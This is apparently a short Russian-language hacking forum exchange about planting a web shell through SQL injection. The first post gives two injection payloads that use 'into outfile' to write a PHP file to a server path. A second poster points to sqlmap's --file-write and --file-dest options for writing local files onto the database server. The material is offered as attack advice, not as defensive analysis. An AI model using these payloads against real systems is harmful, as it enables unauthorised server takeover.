Ручками залей уже
vuln=1 limit 1 into outfile '/PathToShell/filename.php' lines terminated by ""--+
или
vuln=1 limit 1 into outfile ''/PathToShell/filename.php' fields terminated by '' optionally enclosed by ""--+​
2 Sat-hacker
вобщемта тут и понимать нечего -hh опция все покажет.
--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to